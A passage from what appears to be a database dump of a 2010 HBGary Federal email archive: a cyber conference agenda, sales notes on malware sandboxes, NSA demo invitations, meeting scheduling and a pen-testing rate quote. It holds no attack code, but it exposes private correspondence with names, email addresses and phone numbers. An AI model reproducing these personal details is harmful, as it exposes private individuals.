\r\n    &#8226; Cyberspace Training \r\n    &#8226; Automated Data Mining Technologies \r\n  \r\n  \r\n    &#8226; Cloud Computing\r\n    &#8226; Secure Internet Access \r\n    &#8226; Social Computing \r\n  \r\n  \r\n    &#8226; Cyber Defense \r\n    &#8226; Directory Service Security \r\n    &#8226; Electronic Protection \r\n  \r\n  \r\n    &#8226; Network Situational Awareness \r\n      &nbsp; Capabilities\r\n    &#8226; Information Assurance\r\n      &nbsp; Compliance \r\n    &#8226; Manipulating Data \r\n  \r\n\r\n&nbsp;\r\nPanel Sessions  - Dialogue with the Experts: \r\n           Email your questions for moderators/panelists in advance. Click here to submit questions. \r\n          Supporting Global and Regional Joint Commanders with Cyberspace Capabilities           \r\n          \r\n            Moderator: VADM Carl V. Mauney, USN, Deputy Commander, U.S. Strategic Command\r\n            LTG John D. Gardner, USA, Deputy Commander, U.S. European Command\r\n            LTG Keith M. Huber, USA, Deputy Commander, U.S. Joint Forces Command\r\n            \r\n              Brig Gen Dash Jamieson, USAF, \r\n  Director for Intelligence, Surveillance and Reconnaissance, U.S. Southern Command\r\n            \r\n            \r\n              MG David Lacquement, USA, Director of Operations, J-3, \r\n      Consolidated Joint Functional Component Command-Network Warfare and Joint Task Force-Global Network Operations (JTF-GNO) \r\n            \r\n                    \r\n          International Perspective           \r\n          \r\n            Moderator: Mr. Robert Butler, \r\n    Deputy Assistant Secretary of Defense for Cyber and Space Policy, \r\n    Office of the Under Secretary of Defense (Policy) \r\n            \r\n              Mr. Peter C.W. Flory, Assistant Secretary General for Defence Investment, NATO\r\n            \r\n            \r\n              Mr. Philippe Wolf, Adviser of the Central Director, National Agency of Information Systems Security (ANSSI), France \r\n            \r\n                    \r\n          Value/Hazards of Internet-based Networking and Capabilities \r\n          \r\n            Moderator:            Mr. Noah Shachtman, \r\n      Journalist and Editor,  Wired Magazine\'s National Security Blog, \"Danger Room\" \r\n            \r\n              Mr. Sumit Agarwal, Deputy Assistant Secretary of Defense (PA) for Outreach and Social Media\r\n            \r\n            \r\n              Ms. Cita Furlani, Director, Information Technology Laboratory, National Institute of Standards and Technology\r\n            \r\n            Mr. Nathan Hamiel, Senior Consultant, Idea Information Security, Founder of Hexagon Security Group\r\n            \r\n              Ms. Susan Swart, Chief Information Officer, U.S. Department of State \r\n              \r\n                    \r\n          Developing Tomorrow\'s Cyber Operator \r\n          \r\n            Moderator: Dr. Mike McGinnis,  BG, USA (Ret.), Executive Director, Peter Kiewit Institute \r\n            MajGen George Allen, USMC, Director, Command, Control, Communications and Computers, U.S. Marine Corps \r\n            \r\n              RDML Margaret Klein, USN, Director of Global Operations, Naval Network Warfare Command\r\n            \r\n            \r\n              MG Steven Smith, USA, Director, U.S. Army Cyberspace Task Force\r\n            \r\n            Maj Gen Richard Webber, USAF, Commander, 24th Air Force \r\n                    \r\n          Industry \"State of the Union\" on Cyberspace \r\n          \r\n            Moderator: Lt Gen Harry D. Raduege, Jr., USAF (Ret.), Chairman, Center for Network Innovation, Deloitte &amp; Touche LLP, former Director, Defense Information Systems Agency \r\n             Mr. David Aucsmith, Security Architect and Chief Technology Officer, Microsoft Corp. \r\n            Dr. Steven P. Bucci, Associate Partner, Cyber Security Lead, Global Leadership Initiative, IBM Public Sector, Global Business Services \r\n            Mr. Don Proctor, Senior Vice President, Software Group, Cisco Systems\r\n            Mr. Marcus Sachs, Executive Director for National Security &amp; Cyber Policy, Verizon Communications \r\n                      \r\n                        Emerging Cyber Security Technologies \r\n          \r\n            Moderator: Dr. Robert F. Brammer,  Vice President for Advanced Technology, Northrop Grumman Information Systems \r\n            Dr. David Brumley, Professor, Carnegie Mellon University \r\n             Dr. Thomas Knight, \r\nSenior Research Scientist, \r\nMIT Computer Science and Artificial Intelligence Laboratory\r\n            Dr. Eugene Spafford, Professor, Purdue University \r\n            Dr. Michael VanPutte, Program Manager in the Strategic Technology Office, Defense Advanced Research Projects Agency \r\n                    \r\n          &nbsp;\r\n          For more information on the conference and to register - please visit http://www.afcea.org/events/stratcom. \r\n          \r\n          \r\n              \r\n    \r\n              Exhibit Information - please contact J. Spargo & Associates at exhibits@jspargo.com\r\n              \r\n    \r\n            Patron/Sponsor Information - please contact Maureen Cirrito at mcirrito@afcea.org\r\nMedia Registration - click here. \r\n              \r\n        \r\n              We look forward to seeing you in Omaha!\r\n              \r\n        \r\n\r\n            \r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	  \r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',1301,'aaron_hbgary_com/1301.html'),(5599,'2010-04-22','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004066.M920243P14101Q454.eml','\"Aaron Barr\" <aaron@hbgary.com>','Rates & availability to do a client phone discussion','Aaron --\r\n\r\n2 questions:\r\n\r\n1) what is your hourly rate for ethical hacking?\r\n\r\n2) what are possible windows of time for a 30 minute client phone discussion next Monday or Tuesday?\r\n\r\nThanks,\r\n\r\nIra\r\n\r\n\r\n',5078,'aaron_hbgary_com/5078.html'),(5600,'2010-04-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004067.M172858P14101Q455.eml','\"Aaron Barr\" <aaron@hbgary.com>','DC3 would buy a completed TMC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nDan Raygoza at DC3 DCFL is working on an automated malware\r\nanalysis project.&nbsp; They get 1k malware per day now and expect the numbers\r\nto increase a lot.&nbsp; They are in the process of buying CWSandbox and Norman\r\nAnalyzer and acquiring various GOTS and academic sandbox tools.&nbsp; They want\r\nas many as they can get so they can learn what they can about malware.\r\n\r\n&nbsp;\r\n\r\nThey view REcon within Responder as not good enough yet\r\nbecause:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIt is not fully automated.&nbsp; It has a manual\r\nfront end and you need Responder to view the reports and data.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey don&#8217;t want the low level data. &nbsp;They\r\nwant higher level reports.&nbsp; Maybe our current report is good enough &#8211;\r\nnot sure.\r\n\r\n&nbsp;\r\n\r\nDC3 won&#8217;t be a prospect until we can show them TMC\r\nactually working.&nbsp; We need to figure out how we will price it at various\r\nvolume levels.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10494,'aaron_hbgary_com/10494.html'),(5601,'2010-04-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004067.M605428P14101Q456.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DC3 would buy a completed TMC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI forgot something important.&nbsp;\r\nDan said that if our sandbox system doesn&#8217;t emulate the network or the Internet\r\nthen the runtime data will collect will be terribly limited because too little\r\nof the malware will execute&#8230;&#8230;&#8230;..&nbsp; I sure hope we addressed this in our DARPA proposal.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Thursday, April 22, 2010 4:17 PM\r\nTo: \'Aaron Barr\'\r\nSubject: DC3 would buy a completed TMC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nDan Raygoza at DC3 DCFL is working on an automated malware\r\nanalysis project.&nbsp; They get 1k malware per day now and expect the numbers\r\nto increase a lot.&nbsp; They are in the process of buying CWSandbox and Norman\r\nAnalyzer and acquiring various GOTS and academic sandbox tools.&nbsp; They want\r\nas many as they can get so they can learn what they can about malware.\r\n\r\n&nbsp;\r\n\r\nThey view REcon within Responder as not good enough yet\r\nbecause:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIt is not fully automated.&nbsp; It has a manual\r\nfront end and you need Responder to view the reports and data.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey don&#8217;t want the low level data. &nbsp;They\r\nwant higher level reports.&nbsp; Maybe our current report is good enough &#8211; not\r\nsure.\r\n\r\n&nbsp;\r\n\r\nDC3 won&#8217;t be a prospect until we can show them TMC actually\r\nworking.&nbsp; We need to figure out how we will price it at various volume\r\nlevels.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1296,'aaron_hbgary_com/1296.html'),(5602,'2010-04-22','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297004068.M17288P14101Q457.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: NSA Dry Run @ Tue Apr 27 12:30pm - 1pm (aaron@hbgary.com)','Phil Wallisch has accepted this invitation.NSA Dry RunWhenTue Apr 27 12:30pm – 1pm Eastern TimeWhereTelecon (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;bob@hbgary.com&#x2022;phil@hbgary.comInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitation replies on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',15657,'aaron_hbgary_com/15657.html'),(5603,'2010-04-22','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297004068.M345801P14101Q458.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: NSA Demo @ Fri Apr 30 9am - 11am (aaron@hbgary.com)','Phil Wallisch has accepted this invitation.NSA DemoWhenFri Apr 30 9am – 11am Eastern TimeWhereNSA (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;jmbodma@nsa.gov&#x2022;bob@hbgary.com&#x2022;phil@hbgary.comInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitation replies on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',3326,'aaron_hbgary_com/3326.html'),(5604,'2010-04-22','\"The Intelligence Community (IC)\" <groups-noreply@linkedin.com>','/aaron@hbgary.com/new/1297004068.M598845P14101Q459.eml','\"Aaron Barr\" <aaron@hbgary.com>','Need CLEARED Surveillance Role Players with Team Surveillance and Counter Surveillance Experience ASAP.  Minimum SECRET clearance required.','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn  Groups\r\n  \r\n  \r\n    \r\n      \r\n        Group: The Intelligence Community (IC)\r\n        Subject: Need CLEARED Surveillance Role Players with Team Surveillance and Counter Surveillance Experience ASAP.  Minimum SECRET clearance required. \r\n      \r\n      \r\n	        We need CLEARED Surveillance Role Players with Team Surveillance and Counter Surveillance Experience ASAP.  Minimum SECRET clearance required.  \r\n\r\nThis is for a contract we are bidding on but have not yet been awarded.\r\n\r\n\r\nIf you have IMMEDAITE availability and meet the requirements please contact me ASAP.\r\n\r\nIf you are a recruiter who can assist with this need please contact me ASAP\r\n\r\nJohn Goodenow\r\nDirector of Operations\r\nMission Support Agency\r\njohng@msausa.net\r\nCell: 818-216-3481\r\n	      \r\n      Posted By John Goodenow\r\n      \r\n    \r\n    \r\n      View or add comments &#187;\r\n    \r\n    \r\n    \r\n    Don\'t want to hear from the manager? Unsubscribe here\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &copy;2010, LinkedIn Corporation.    \r\n  \r\n\r\n\r\n',5352,'aaron_hbgary_com/5352.html'),(5605,'2010-04-22','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297004068.M805372P14101Q460.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Trae Stephens\" <tstephens@palantirtech.com>','RE: NSA','Sure thing Aaron, let\'s figure out a good time to meet.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 1:05 PM\r\nTo: Matthew Steckman; Trae Stephens\r\nSubject: NSA\r\n\r\nHey guys,\r\n\r\nI would like to talk to you next week about NSA.  Looks like we are on\r\na path to put our threat management center there.  ANO, V22, and blue\r\nteam are interested in it.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',10974,'aaron_hbgary_com/10974.html'),(5606,'2010-04-22','\"Trae Stephens\" <tstephens@palantirtech.com>','/aaron@hbgary.com/new/1297004069.M26321P14101Q461.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: NSA','I\'ll be in Tysons on Tuesday of next week and at Fort Meade Wed-Fri.  Let me know what works for you and we can make it happen.\r\n\r\nWho are you talking to from V22?\r\n\r\nTrae\'\r\n\r\n\r\n-----Original Message-----\r\nFrom: Matthew Steckman \r\nSent: Thursday, April 22, 2010 5:36 PM\r\nTo: Aaron Barr; Trae Stephens\r\nSubject: RE: NSA\r\n\r\nSure thing Aaron, let\'s figure out a good time to meet.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 1:05 PM\r\nTo: Matthew Steckman; Trae Stephens\r\nSubject: NSA\r\n\r\nHey guys,\r\n\r\nI would like to talk to you next week about NSA.  Looks like we are on\r\na path to put our threat management center there.  ANO, V22, and blue\r\nteam are interested in it.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',10372,'aaron_hbgary_com/10372.html'),(5607,'2010-04-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004069.M360294P14101Q462.eml','\"Aaron Barr\" <aaron@hbgary.com>,mark.trynor@hbgary.com','Pen Test','This is a Pen Test Framework that provides all of the templates, tools,\r\netc that I think we\'ll need for this upcoming engagement:\r\n\r\nhttp://www.vulnerabilityassessment.co.uk/Penetration%20Test.html\r\n\r\n\r\nTed\r\n',4959,'aaron_hbgary_com/4959.html'),(5608,'2010-04-22','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297004069.M585887P14101Q463.eml','\"Trae Stephens\" <tstephens@palantirtech.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: NSA','Tuesday around 1pm works for me at our Tyson\'s office. \r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Trae Stephens \r\nSent: Thursday, April 22, 2010 5:37 PM\r\nTo: Matthew Steckman; Aaron Barr\r\nSubject: RE: NSA\r\n\r\nI\'ll be in Tysons on Tuesday of next week and at Fort Meade Wed-Fri.  Let me know what works for you and we can make it happen.\r\n\r\nWho are you talking to from V22?\r\n\r\nTrae\'\r\n\r\n\r\n-----Original Message-----\r\nFrom: Matthew Steckman \r\nSent: Thursday, April 22, 2010 5:36 PM\r\nTo: Aaron Barr; Trae Stephens\r\nSubject: RE: NSA\r\n\r\nSure thing Aaron, let\'s figure out a good time to meet.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 1:05 PM\r\nTo: Matthew Steckman; Trae Stephens\r\nSubject: NSA\r\n\r\nHey guys,\r\n\r\nI would like to talk to you next week about NSA.  Looks like we are on\r\na path to put our threat management center there.  ANO, V22, and blue\r\nteam are interested in it.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',15745,'aaron_hbgary_com/15745.html'),(5609,'2010-04-22','\"Trae Stephens\" <tstephens@palantirtech.com>','/aaron@hbgary.com/new/1297004069.M875921P14101Q464.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: NSA','Likewise.  You could join us for lunch, Aaron.  Catered on site!\r\n\r\nTrae\'\r\n\r\n-----Original Message-----\r\nFrom: Matthew Steckman \r\nSent: Thursday, April 22, 2010 5:47 PM\r\nTo: Trae Stephens; Aaron Barr\r\nSubject: RE: NSA\r\n\r\nTuesday around 1pm works for me at our Tyson\'s office. \r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Trae Stephens \r\nSent: Thursday, April 22, 2010 5:37 PM\r\nTo: Matthew Steckman; Aaron Barr\r\nSubject: RE: NSA\r\n\r\nI\'ll be in Tysons on Tuesday of next week and at Fort Meade Wed-Fri.  Let me know what works for you and we can make it happen.\r\n\r\nWho are you talking to from V22?\r\n\r\nTrae\'\r\n\r\n\r\n-----Original Message-----\r\nFrom: Matthew Steckman \r\nSent: Thursday, April 22, 2010 5:36 PM\r\nTo: Aaron Barr; Trae Stephens\r\nSubject: RE: NSA\r\n\r\nSure thing Aaron, let\'s figure out a good time to meet.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 1:05 PM\r\nTo: Matthew Steckman; Trae Stephens\r\nSubject: NSA\r\n\r\nHey guys,\r\n\r\nI would like to talk to you next week about NSA.  Looks like we are on\r\na path to put our threat management center there.  ANO, V22, and blue\r\nteam are interested in it.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',47,'aaron_hbgary_com/47.html'),(5610,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004070.M296178P14101Q466.eml','\"Trae Stephens\" <tstephens@palantirtech.com>','Re: NSA','Great lets shoot for that.\r\n\r\nAaron\r\n\r\nOn Apr 22, 2010, at 2:47 PM, Trae Stephens wrote:\r\n\r\n> Likewise.  You could join us for lunch, Aaron.  Catered on site!\r\n> \r\n> Trae\'\r\n> \r\n> -----Original Message-----\r\n> From: Matthew Steckman \r\n> Sent: Thursday, April 22, 2010 5:47 PM\r\n> To: Trae Stephens; Aaron Barr\r\n> Subject: RE: NSA\r\n> \r\n> Tuesday around 1pm works for me at our Tyson\'s office. \r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Trae Stephens \r\n> Sent: Thursday, April 22, 2010 5:37 PM\r\n> To: Matthew Steckman; Aaron Barr\r\n> Subject: RE: NSA\r\n> \r\n> I\'ll be in Tysons on Tuesday of next week and at Fort Meade Wed-Fri.  Let me know what works for you and we can make it happen.\r\n> \r\n> Who are you talking to from V22?\r\n> \r\n> Trae\'\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Matthew Steckman \r\n> Sent: Thursday, April 22, 2010 5:36 PM\r\n> To: Aaron Barr; Trae Stephens\r\n> Subject: RE: NSA\r\n> \r\n> Sure thing Aaron, let\'s figure out a good time to meet.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 22, 2010 1:05 PM\r\n> To: Matthew Steckman; Trae Stephens\r\n> Subject: NSA\r\n> \r\n> Hey guys,\r\n> \r\n> I would like to talk to you next week about NSA.  Looks like we are on\r\n> a path to put our threat management center there.  ANO, V22, and blue\r\n> team are interested in it.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9013,'aaron_hbgary_com/9013.html'),(5611,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004070.M506398P14101Q467.eml','\"Trae Stephens\" <tstephens@palantirtech.com>','Re: NSA','Matt Bodman and Bob Nissen.\r\n\r\n\r\nOn Apr 22, 2010, at 2:36 PM, Trae Stephens wrote:\r\n\r\n> I\'ll be in Tysons on Tuesday of next week and at Fort Meade Wed-Fri.  Let me know what works for you and we can make it happen.\r\n> \r\n> Who are you talking to from V22?\r\n> \r\n> Trae\'\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Matthew Steckman \r\n> Sent: Thursday, April 22, 2010 5:36 PM\r\n> To: Aaron Barr; Trae Stephens\r\n> Subject: RE: NSA\r\n> \r\n> Sure thing Aaron, let\'s figure out a good time to meet.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 22, 2010 1:05 PM\r\n> To: Matthew Steckman; Trae Stephens\r\n> Subject: NSA\r\n> \r\n> Hey guys,\r\n> \r\n> I would like to talk to you next week about NSA.  Looks like we are on\r\n> a path to put our threat management center there.  ANO, V22, and blue\r\n> team are interested in it.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8333,'aaron_hbgary_com/8333.html'),(5612,'2010-04-22','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004070.M751600P14101Q468.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Rates & availability to do a client phone discussion','Thanks. And do you have typical timeframes for testing penetration on web sites \r\n\r\nIra\r\n\r\nOn Apr 22, 2010, at 5:56 PM, \"Aaron Barr\"  wrote:\r\n\r\n> Hi Ira,\r\n> \r\n> Hourly rate is $194.00\r\n> \r\n> I am pretty open on Monday.  My Tuesday is pretty full.   If you want to just send out a meeting notice for a time that works for you on Monday and please include ted@hbgary.com\r\n> \r\n> Aaron\r\n> \r\n> On Apr 22, 2010, at 1:01 PM, Ira Entis wrote:\r\n> \r\n>> Aaron --\r\n>> \r\n>> 2 questions:\r\n>> \r\n>> 1) what is your hourly rate for ethical hacking?\r\n>> \r\n>> 2) what are possible windows of time for a 30 minute client phone discussion next Monday or Tuesday?\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Ira\r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',9433,'aaron_hbgary_com/9433.html'),(5613,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004070.M82403P14101Q465.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Rates & availability to do a client phone discussion','Hi Ira,\r\n\r\nHourly rate is $194.00\r\n\r\nI am pretty open on Monday.  My Tuesday is pretty full.   If you want to just send out a meeting notice for a time that works for you on Monday and please include ted@hbgary.com\r\n\r\nAaron\r\n\r\nOn Apr 22, 2010, at 1:01 PM, Ira Entis wrote:\r\n\r\n> Aaron --\r\n> \r\n> 2 questions:\r\n> \r\n> 1) what is your hourly rate for ethical hacking?\r\n> \r\n> 2) what are possible windows of time for a 30 minute client phone discussion next Monday or Tuesday?\r\n> \r\n> Thanks,\r\n> \r\n> Ira\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14712,'aaron_hbgary_com/14712.html'),(5614,'2010-04-22','\"Trae Stephens\" <tstephens@palantirtech.com>','/aaron@hbgary.com/new/1297004070.M995938P14101Q469.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: NSA','Cool...I know Bodman.  Good guy.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 5:57 PM\r\nTo: Trae Stephens\r\nSubject: Re: NSA\r\n\r\nMatt Bodman and Bob Nissen.\r\n\r\n\r\nOn Apr 22, 2010, at 2:36 PM, Trae Stephens wrote:\r\n\r\n> I\'ll be in Tysons on Tuesday of next week and at Fort Meade Wed-Fri.  Let me know what works for you and we can make it happen.\r\n> \r\n> Who are you talking to from V22?\r\n> \r\n> Trae\'\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Matthew Steckman \r\n> Sent: Thursday, April 22, 2010 5:36 PM\r\n> To: Aaron Barr; Trae Stephens\r\n> Subject: RE: NSA\r\n> \r\n> Sure thing Aaron, let\'s figure out a good time to meet.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 22, 2010 1:05 PM\r\n> To: Matthew Steckman; Trae Stephens\r\n> Subject: NSA\r\n> \r\n> Hey guys,\r\n> \r\n> I would like to talk to you next week about NSA.  Looks like we are on\r\n> a path to put our threat management center there.  ANO, V22, and blue\r\n> team are interested in it.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',423,'aaron_hbgary_com/423.html'),(5615,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004071.M223771P14101Q470.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Rates & availability to do a client phone discussion','Begin forwarded message:From: Ira Entis &lt;Ira.Entis@agilex.com&gt;Date: April 22, 2010 3:05:08 PM PDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Rates &amp; availability to do a client phone discussionThanks. And do you have typical timeframes for testing penetration on web sites IraOn Apr 22, 2010, at 5:56 PM, \"Aaron Barr\" &lt;aaron@hbgary.com&gt; wrote:Hi Ira,Hourly rate is $194.00I am pretty open on Monday. &nbsp;My Tuesday is pretty full. &nbsp;&nbsp;If you want to just send out a meeting notice for a time that works for you on Monday and please include ted@hbgary.comAaronOn Apr 22, 2010, at 1:01 PM, Ira Entis wrote:Aaron --2 questions:1) what is your hourly rate for ethical hacking?2) what are possible windows of time for a 30 minute client phone discussion next Monday or Tuesday?Thanks,IraAaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1119,'aaron_hbgary_com/1119.html'),(5616,'2010-04-22','\"Chris Rouland\" <chris@endgames.us>','/aaron@hbgary.com/new/1297004071.M451800P14101Q471.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Update','Aaron,\r\n\r\nI have no issue with your approaching Dino, we had an amicable separation and he is a great asset and I hope you can use him.   Please let me know how your NTOC business proceeds there, we have no business there and would be happy to attach to your platform.  Yul Williams has been briefed extensively and knows us well.\r\n\r\n-Chris\r\n\r\nOn Apr 22, 2010, at 10:39 AM, Aaron Barr wrote:\r\n\r\n> Hi Chris,\r\n> \r\n> I know you have had some changes recently.  A few things.  I would like to approach Dino for some consulting work for IR and malware work, I wanted to see if you have any issues with that (not sure about employment agreement, etc).  Also, we are getting some traction up at the NTOC and looks like its a good chance we will put our Threat Management Center there.  At some point if that does get deployed I would like to talk to them about expanding the work performed to include other data like EGS.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',16048,'aaron_hbgary_com/16048.html'),(5617,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004071.M674762P14101Q472.eml','\"Dino Dai Zovi\" <ddz@trailofbits.com>','Re: Update','Hey Dino,\r\n\r\nNot trying to be pushy but talented folks are hard to come by.  I asked Chris if he would have any issues if we used your services and he said he would have no issues.  He said something about if we could get something worthwhile out of you we were welcome to it.\r\n\r\nJoke.\r\n\r\nI am sure you have plenty of work, but just to keep in mind.  We have both classified and unclassified work.  Our unclass work is mostly around incident response, VA/PT work, hopefully some DARPA work coming up next month around cyber genomes.  We also have some exploit development work, some of it unclass, that I could really use some high talent on.\r\n\r\nTake care,\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:\r\n\r\n> Hello Aaron,\r\n> \r\n> I don\'t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired).  I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).\r\n> \r\n> On second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames.  I wouldn\'t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.\r\n> \r\n> Cheers,\r\n> \r\n> -Dino\r\n> \r\n> \r\n> On Apr 13, 2010, at 9:54 PM, Aaron 